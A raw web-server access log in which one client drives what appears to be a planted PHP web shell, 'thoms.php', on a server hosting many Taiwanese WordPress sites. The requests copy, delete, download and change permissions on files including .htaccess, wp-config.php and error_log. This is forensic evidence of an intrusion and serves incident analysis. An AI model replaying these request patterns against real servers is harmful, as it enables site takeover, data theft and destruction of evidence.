45.135.193.11 - - [11/Sep/2026:22:37:15 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=big-wife.com.tw HTTP/1.1" 200 11463 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:16 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=upgrade HTTP/1.1" 200 11309 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:16 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=wordpress-6.6.2-zh_TW HTTP/1.1" 200 11387 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:16 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=bfl.com.tw HTTP/1.1" 200 11457 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:16 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=biotaiwan.com.tw HTTP/1.1" 200 11462 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:16 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=bioway88.com.tw HTTP/1.1" 200 11463 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:16 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=bogroup.com.tw HTTP/1.1" 200 11452 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:16 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=wp-content HTTP/1.1" 200 11344 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:16 -0400] "GET /thoms.php?copy=.htaccess&finish=1&move=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=.htaccess&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:16 -0400] "GET /thoms.php?copy=.htaccess&p=biotaiwan.com.tw HTTP/1.1" 200 11470 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:16 -0400] "GET /thoms.php?p= HTTP/1.1" 200 17185 "https://163.245.207.76:443/thoms.php?copy=.htaccess&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:16 -0400] "GET /thoms.php?copy=.htaccess&p=beauty-dental.com.tw HTTP/1.1" 200 11472 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:16 -0400] "GET /thoms.php?copy=.htaccess&p=bogroup.com.tw HTTP/1.1" 200 11458 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:17 -0400] "GET /thoms.php?copy=.htaccess&p=booking-wise2.com.tw HTTP/1.1" 200 11456 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:17 -0400] "GET /thoms.php?copy=.htaccess&p=bossini.com.tw HTTP/1.1" 200 11451 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:17 -0400] "GET /thoms.php?copy=.htaccess&p=broadweb.com.tw HTTP/1.1" 200 11454 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:17 -0400] "GET /thoms.php?copy=.htaccess&p=bestjudy.com.tw HTTP/1.1" 200 11450 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:17 -0400] "GET /thoms.php?copy=.htaccess&p=bioway88.com.tw HTTP/1.1" 200 11458 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:16 -0400] "GET /thoms.php?copy=broadweb.com.tw&finish=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:17 -0400] "GET /thoms.php?copy=.htaccess&p=bodbooks.com.tw HTTP/1.1" 200 11457 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:17 -0400] "GET /thoms.php?p= HTTP/1.1" 200 17183 "https://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:17 -0400] "GET /thoms.php?copy=.htaccess&p=upgrade HTTP/1.1" 200 11302 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:17 -0400] "GET /thoms.php?copy=.htaccess&p=cgi-bin HTTP/1.1" 200 11304 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:17 -0400] "GET /thoms.php?copy=.htaccess&p=besth2o.com.tw HTTP/1.1" 200 11453 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:17 -0400] "GET /thoms.php?copy=.htaccess&p=bfl.com.tw HTTP/1.1" 200 11453 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:17 -0400] "GET /thoms.php?copy=.htaccess&p=wordpress-6.6.2-zh_TW HTTP/1.1" 200 11381 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:17 -0400] "GET /thoms.php?copy=.htaccess&p=betcity.com.tw HTTP/1.1" 200 11457 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:18 -0400] "GET /thoms.php?copy=.htaccess&p=big-wife.com.tw HTTP/1.1" 200 11466 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:18 -0400] "GET /thoms.php?copy=.htaccess&p=ba-guo.com.tw HTTP/1.1" 200 11448 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:18 -0400] "GET /thoms.php?copy=.htaccess&p=bestzyx.com.tw HTTP/1.1" 200 11457 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:18 -0400] "GET /thoms.php?copy=.htaccess&p=bft.com.tw HTTP/1.1" 200 11449 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:18 -0400] "GET /thoms.php?copy=.htaccess&finish=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=.htaccess&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:18 -0400] "GET /thoms.php?p= HTTP/1.1" 200 17317 "https://163.245.207.76:443/thoms.php?copy=.htaccess&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:18 -0400] "GET /thoms.php?copy=.htaccess&p=wp-content HTTP/1.1" 200 11338 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:18 -0400] "GET /thoms.php?p=ba-guo.com.tw&view=thoms.php HTTP/1.1" 200 11818 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw&view=thoms.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:18 -0400] "GET /thoms.php?p=ba-guo.com.tw&upload= HTTP/1.1" 200 12153 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw&upload=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:18 -0400] "GET /thoms.php?p=ba-guo.com.tw&settings=1 HTTP/1.1" 200 11879 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw&settings=1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:18 -0400] "GET /thoms.php?del=cgi-bin&p=ba-guo.com.tw HTTP/1.1" 200 17361 "http://163.245.207.76:443/thoms.php?del=cgi-bin&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:18 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes&p= HTTP/1.1" 200 11697 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:18 -0400] "GET /thoms.php?del=wp-comments-post.php&p=ba-guo.com.tw HTTP/1.1" 200 17361 "http://163.245.207.76:443/thoms.php?del=wp-comments-post.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:18 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-comments-post.php&p=ba-guo.com.tw HTTP/1.1" 200 11480 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-comments-post.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:19 -0400] "GET /thoms.php?del=wp-links-opml.php&p=ba-guo.com.tw HTTP/1.1" 200 17360 "http://163.245.207.76:443/thoms.php?del=wp-links-opml.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:19 -0400] "GET /thoms.php?dl=wp-load.php&p=ba-guo.com.tw HTTP/1.1" 200 17362 "http://163.245.207.76:443/thoms.php?dl=wp-load.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:19 -0400] "GET /thoms.php?p=ba-guo.com.tw&view=wp-mail.php HTTP/1.1" 200 15346 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw&view=wp-mail.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:19 -0400] "GET /thoms.php?p=ba-guo.com.tw%2F.well-known HTTP/1.1" 200 12582 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:19 -0400] "GET /ba-guo.com.tw/web-filter/ HTTP/1.1" 200 6404 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:19 -0400] "GET /thoms.php?chmod=.well-known&p=ba-guo.com.tw HTTP/1.1" 200 11488 "http://163.245.207.76:443/thoms.php?chmod=.well-known&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:19 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fupgrade&p= HTTP/1.1" 200 11700 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fupgrade&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:19 -0400] "GET /thoms.php?chmod=thoms.php&p=ba-guo.com.tw HTTP/1.1" 200 11472 "http://163.245.207.76:443/thoms.php?chmod=thoms.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:19 -0400] "GET /thoms.php?chmod=wp-config.php&p=ba-guo.com.tw HTTP/1.1" 200 11479 "http://163.245.207.76:443/thoms.php?chmod=wp-config.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:19 -0400] "GET /thoms.php?del=wp-activate.php&p=ba-guo.com.tw HTTP/1.1" 200 17361 "http://163.245.207.76:443/thoms.php?del=wp-activate.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:19 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-signup.php&p=ba-guo.com.tw HTTP/1.1" 200 11462 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-signup.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:19 -0400] "GET /ba-guo.com.tw/.htaccess HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:19 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fsetting-checkpoint HTTP/1.1" 200 13274 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fsetting-checkpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:19 -0400] "GET /thoms.php?chmod=wp-admin&p=ba-guo.com.tw HTTP/1.1" 200 11474 "http://163.245.207.76:443/thoms.php?chmod=wp-admin&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:19 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Findex.php&p=ba-guo.com.tw HTTP/1.1" 200 11456 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Findex.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:19 -0400] "GET /thoms.php?chmod=locoy.php&p=ba-guo.com.tw HTTP/1.1" 200 11478 "http://163.245.207.76:443/thoms.php?chmod=locoy.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:19 -0400] "GET /thoms.php?dl=wp-activate.php&p=ba-guo.com.tw HTTP/1.1" 200 17361 "http://163.245.207.76:443/thoms.php?dl=wp-activate.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:20 -0400] "GET /ba-guo.com.tw/wp-cron.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:20 -0400] "GET /thoms.php?p=ba-guo.com.tw&view=wp-comments-post.php HTTP/1.1" 200 13033 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw&view=wp-comments-post.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:20 -0400] "GET /thoms.php?dl=license.txt&p=ba-guo.com.tw HTTP/1.1" 200 17362 "http://163.245.207.76:443/thoms.php?dl=license.txt&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:20 -0400] "GET /ba-guo.com.tw/wp-load.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:20 -0400] "GET /ba-guo.com.tw/error_log HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:20 -0400] "GET /thoms.php?dl=wp-links-opml.php&p=ba-guo.com.tw HTTP/1.1" 200 17362 "http://163.245.207.76:443/thoms.php?dl=wp-links-opml.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:20 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fweb-filter HTTP/1.1" 200 13419 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fweb-filter" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:20 -0400] "GET /thoms.php?dl=mah.php&p=ba-guo.com.tw HTTP/1.1" 200 17362 "http://163.245.207.76:443/thoms.php?dl=mah.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:20 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fxmlrpc.php&p=ba-guo.com.tw HTTP/1.1" 200 11471 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fxmlrpc.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:20 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fupgrade HTTP/1.1" 200 13974 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:20 -0400] "GET /thoms.php?del=error_log&p=ba-guo.com.tw HTTP/1.1" 200 17361 "http://163.245.207.76:443/thoms.php?del=error_log&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:20 -0400] "GET /thoms.php?chmod=wp-activate.php&p=ba-guo.com.tw HTTP/1.1" 200 11480 "http://163.245.207.76:443/thoms.php?chmod=wp-activate.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:20 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-blog-header.php&p=ba-guo.com.tw HTTP/1.1" 200 11426 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-blog-header.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:20 -0400] "GET /thoms.php?chmod=wp-config-sample.php&p=ba-guo.com.tw HTTP/1.1" 200 11484 "http://163.245.207.76:443/thoms.php?chmod=wp-config-sample.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:20 -0400] "GET /thoms.php?del=wp-config-sample.php&p=ba-guo.com.tw HTTP/1.1" 200 17360 "http://163.245.207.76:443/thoms.php?del=wp-config-sample.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:21 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-config-sample.php&p=ba-guo.com.tw HTTP/1.1" 200 11467 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-config-sample.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:21 -0400] "GET /thoms.php?chmod=wp-includes&p=ba-guo.com.tw HTTP/1.1" 200 11490 "http://163.245.207.76:443/thoms.php?chmod=wp-includes&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:21 -0400] "GET /thoms.php?dl=error_log&p=ba-guo.com.tw HTTP/1.1" 200 17361 "http://163.245.207.76:443/thoms.php?dl=error_log&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:21 -0400] "GET /thoms.php?p=ba-guo.com.tw&view=index.php HTTP/1.1" 200 12041 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw&view=index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:21 -0400] "GET /thoms.php?dl=readme.html&p=ba-guo.com.tw HTTP/1.1" 200 17360 "http://163.245.207.76:443/thoms.php?dl=readme.html&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
